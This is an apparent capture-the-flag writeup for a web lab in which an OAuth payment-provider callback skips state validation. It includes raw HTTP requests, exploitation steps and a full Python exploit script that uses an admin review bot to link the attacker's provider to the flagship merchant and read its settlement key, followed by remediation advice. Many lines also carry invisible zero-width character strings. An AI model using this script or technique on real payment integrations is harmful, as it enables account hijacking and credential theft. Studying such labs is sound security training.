← Back to Writeups
CUSTOMMediumWeb

Lab 148 — VaultPay — CSRF in Payment Provider OAuth Callback

XESXOR9/10/20266 min read
#web#custom#medium#admin_bot_url_delivery#authorization_code_injection#login_csrf#oauth_callback_csrf#linux

Lab 148 — VaultPay — CSRF in Payment Provider OAuth Callback

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-21 | Status: Solved Techniques: admin_bot_url_delivery, authorization_code_injection, login_csrf, oauth_callback_csrf

Summary

Task: An Express payment application implements a provider OAuth lifecycle with an admin URL-review bot. Solution: Inject an attacker-authorized code into the bot's state-less localhost callback, linking the provider to the flagship store and exposing its settlement key.

Lab 148 — VaultPay — CSRF in Payment Provider OAuth Callback — hackadvisor

Description

No separate organizer description was preserved in the saved challenge artifacts.

The challenge presented an Express payment platform behind nginx. The goal was to inspect the complete payment-provider OAuth lifecycle, exploit its callback trust boundary, and recover protected data belonging to the administrator's merchant account.

The original lab instance expired and was replaced. Because HackAdvisor generates flags per instance, this writeup uses the flag reproduced on the verified replacement instance: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

https://318a8f0c-92bc-41e2-bead-6df7038af965.labs.hackadvisor.io/

Reconnaissance

Anonymous reconnaissance identified nginx/1.25.5 in front of Express and exposed /login and /register. An HTML comment contained FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}, but this was a honeypot: it was available without exploitation and was accompanied by untrusted prompt-injection text.

Logging in as user@test.com exposed the authenticated routes /transactions, /merchants, /connections, /api-docs, /support, /settings, and /settings/providers. The response created an Express connect.sid cookie with these attributes: ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

text
HttpOnly; Secure; SameSite=Lax

Initially, /connections contained no provider relationships. The support feature accepted a URL through POST /support/report and caused an authenticated administrative browser to visit it.

OAuth Lifecycle Analysis

The vulnerable flow was reconstructed one transition at a time.

1. Connection initiation

The attacker starts a provider connection in their own authenticated session:

http
POST /settings/providers/connect HTTP/1.1
Content-Type: application/x-www-form-urlencoded
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

provider_name=SquarePay

The application issues both an authorization code and a state value:

http
HTTP/1.1 302 Found
Location: /oauth/authorize?code=<attacker-code>&state=<issued-state>&provider=SquarePay

2. Provider authorization

GET /oauth/authorize?... renders a confirmation form whose only hidden field is code. The issued state is dropped rather than carried through the provider flow.

Submitting that form requires only the code:

http
POST /oauth/authorize HTTP/1.1
Content-Type: application/x-www-form-urlencoded
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

code=<attacker-code>

The provider then redirects without state:

http
HTTP/1.1 302 Found
Location: /auth/provider/callback?code=<attacker-code>

3. Callback completion

A direct baseline request showed that the callback accepts the authorization code by itself:

http
GET /auth/provider/callback?code=<attacker-code> HTTP/1.1

No matching state is required and no initiation record is bound to the browser session completing the callback. The server therefore associates the provider identity represented by the code with whichever merchant owns the session cookie on the callback request. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Vulnerability Root Cause

This is OAuth callback CSRF, also described as login CSRF or authorization-code injection. Although the initiation endpoint generates state, the authorization page discards it, the provider response omits it, and the callback does not validate it against the initiating browser session.

The callback is also a state-changing GET. SameSite=Lax cookies are sent on top-level cross-site navigations, so that cookie policy does not prevent the attack. A victim who is induced to navigate to the callback completes the attacker's provider connection under the victim's merchant account. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

In this lab, the support bot's authenticated application origin was http://localhost:8080. Reporting the following URL made its top-level navigation carry the administrator's session:

text
http://localhost:8080/auth/provider/callback?code=<attacker-code>

Exploitation

  1. Log in with the supplied test account.
  2. Start a provider connection and extract code from the redirect.
  3. Authorize that code by posting only code to /oauth/authorize.
  4. Confirm that the returned callback has no state parameter.
  5. Submit the internal callback URL to /support/report.
  6. Wait for the authenticated administrative bot to navigate to it.
  7. Request /connections from the test account. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

After the bot completed the callback, the test account showed an outbound provider relationship to privileged merchant data:

text
Store: VaultPay Flagship Store
Domain: flagship.vaultpay.com
Owner: James Blackwood
Provider: SquarePay
Settlement API Key: FLAG{REDACTED}

The attacker controls the provider side of the relationship, while the callback's authenticated session selects the administrator-owned merchant. The resulting connection lets the attacker-side account inspect the flagship store's settlement credential. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Reproduction Script

Run the script with the active lab URL as its first argument:

bash
python3 exploit.py 'https://318a8f0c-92bc-41e2-bead-6df7038af965.labs.hackadvisor.io/'
python
#!/usr/bin/env python3
"""Reproduce VaultPay provider-callback CSRF and print the settlement flag."""

import re
import sys
import time
from urllib.parse import parse_qs, urlparse

import requests

if len(sys.argv) != 2:
    raise SystemExit(f"usage: {sys.argv[0]} https://TARGET/")

target = sys.argv[1].rstrip("/")
session = requests.Session()
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

login = session.post(
    f"{target}/login",
    data={"email": "user@test.com", "password": "password123"},
    allow_redirects=False,
    timeout=15,
)
login.raise_for_status()
assert login.status_code == 302 and login.headers["Location"] == "/"

start = session.post(
    f"{target}/settings/providers/connect",
    data={"provider_name": "SquarePay"},
    allow_redirects=False,
    timeout=15,
)
start.raise_for_status()
params = parse_qs(urlparse(start.headers["Location"]).query)
code = params["code"][0]
issued_state = params["state"][0]
print(f"issued code={code}")
print(f"issued state={issued_state}")
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

authorize = session.post(
    f"{target}/oauth/authorize",
    data={"code": code},
    allow_redirects=False,
    timeout=15,
)
authorize.raise_for_status()
callback = authorize.headers["Location"]
assert callback == f"/auth/provider/callback?code={code}"
print(f"provider returned callback without state: {callback}")

report = session.post(
    f"{target}/support/report",
    data={
        "subject": "Provider callback verification",
        "url": f"http://localhost:8080{callback}",
        "message": "Please verify this provider callback.",
    },
    allow_redirects=False,
    timeout=15,
)
report.raise_for_status()
assert report.status_code == 302
‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

for _ in range(8):
    time.sleep(3)
    body = session.get(f"{target}/connections", timeout=15).text
    match = re.search(r"FLAG\{(?!d3c0y)[^}]+\}", body)
    if match and "VaultPay Flagship Store" in body:
        print(match.group(0))
        break
else:
    raise SystemExit("admin callback not processed before timeout")

Failed Delivery Variants

  • Reporting the public HTTPS callback caused the report to become reviewed but did not create the link. The code remained usable, showing that the public hostname did not hold the bot's authenticated session.
  • http://localhost:3000/auth/provider/callback?... also failed to create a link.
  • http://localhost:8080/auth/provider/callback?... succeeded because port 8080 was the bot's authenticated internal application origin. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

These failures clarify delivery context; they do not change the underlying missing-state vulnerability.

Flag Provenance

The original instance yielded FLAG{cf8669bec2e5a7df21c74cbf2514a5ba} through the same exploit. The replacement instance yielded FLAG{REDACTED}. HackAdvisor flags are instance-specific, so the replacement-instance value is the current final result.

The accepted flag came from the Settlement API Key field for VaultPay Flagship Store in GET /connections after the forged callback. It is therefore exploit-dependent privileged data, unlike the anonymous HTML decoy. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Remediation

  • Generate a cryptographically random, single-use state value for every OAuth initiation.
  • Store a hash of state in the initiating browser's server-side session, carry it unchanged through authorization, and require an exact constant-time match at the callback.
  • Bind authorization codes to the initiating merchant, provider, redirect URI, and short expiration period; consume each code only once.
  • Reject callbacks with absent, invalid, expired, or previously used state before changing any connection.
  • Prefer an explicit confirmation step and avoid performing sensitive account-linking solely through a GET request.
  • Treat SameSite as defense in depth, not as a replacement for OAuth transaction binding.
  • Restrict administrative URL-review bots to allowlisted destinations and isolate their authenticated sessions from reviewed content. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍